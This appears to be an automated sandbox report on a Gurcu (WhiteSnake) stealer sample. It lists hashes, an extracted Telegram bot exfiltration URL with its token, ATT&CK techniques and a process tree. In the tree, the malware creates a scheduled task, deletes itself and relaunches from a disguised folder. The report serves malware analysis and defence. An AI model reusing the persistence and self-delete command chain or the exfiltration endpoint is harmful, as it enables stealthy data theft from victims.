gurcu | d71329c78c704ee9cc7133761b5e738a315e7eb784e348d7743a8a7366724e9f

Resubmissions

10-04-2024 02:38

240410-c4pceacb24 10

10-04-2024 02:37

10-04-2024 02:37

10-04-2024 02:37

14-10-2023 01:31

Analysis

max time kernel
153s
max time network
131s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 01:31

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General

Target

k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe
Size

339KB
MD5

1cab66a5c15f97f040fb23d354d04a9c
SHA1

f0dbebd22b2c7bfedbefa4435b345c58416f9448
SHA256

d71329c78c704ee9cc7133761b5e738a315e7eb784e348d7743a8a7366724e9f
SHA512

a5508a75a0a7c747cc50fe8284b9097e1cb9ae83bd7e80553ffa875a6d07d6eec7fc18f66a0a328aa0614c26642d884bfe152e6c09a11eeb0d64f6be66064eab
SSDEEP

3072:gdrpN/JlLKd5hkad0lk0vGJGMlngDBXrkhamyeFykt9sxc8eTRLUvenjLM/zNlgl:0UGPUvva+lxXY6uXAJMI9bAV0D

Score

10^/10

gurcu stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6193093056:AAHzyNGUGS9aUG6CCx6ENLoXpCFLzEQywIQ/sendMessage?chat_id=1098292643

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Deletes itself 1 IoCs

pid	Process
2868	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2568	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2712	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	740	k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 740 wrote to memory of 2868	740	k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe	30
PID 740 wrote to memory of 2868	740	k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe	30
PID 740 wrote to memory of 2868	740	k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe	30
PID 2868 wrote to memory of 2588	2868	cmd.exe	32
PID 2868 wrote to memory of 2588	2868	cmd.exe	32
PID 2868 wrote to memory of 2588	2868	cmd.exe	32
PID 2868 wrote to memory of 2712	2868	cmd.exe	33
PID 2868 wrote to memory of 2712	2868	cmd.exe	33
PID 2868 wrote to memory of 2712	2868	cmd.exe	33
PID 2868 wrote to memory of 2568	2868	cmd.exe	34
PID 2868 wrote to memory of 2568	2868	cmd.exe	34
PID 2868 wrote to memory of 2568	2868	cmd.exe	34

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe
"C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "k2fef4820980d3c2c1f2cce2f95e94f5e1c18" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" &&START "" "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2588
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2712
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "k2fef4820980d3c2c1f2cce2f95e94f5e1c18" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/740-0-0x000007FEF6100000-0x000007FEF6AEC000-memory.dmp

Filesize
9.9MB

Download
memory/740-1-0x000007FEF6100000-0x000007FEF6AEC000-memory.dmp

Filesize
9.9MB

Download
memory/740-2-0x00000000012E0000-0x000000000133C000-memory.dmp

Filesize
368KB

Download
memory/740-3-0x000000001B8F0000-0x000000001B970000-memory.dmp

Filesize
512KB

Download
memory/740-4-0x000000001B8F0000-0x000000001B970000-memory.dmp

Filesize
512KB

Download
memory/740-7-0x000007FEF6100000-0x000007FEF6AEC000-memory.dmp

Filesize
9.9MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads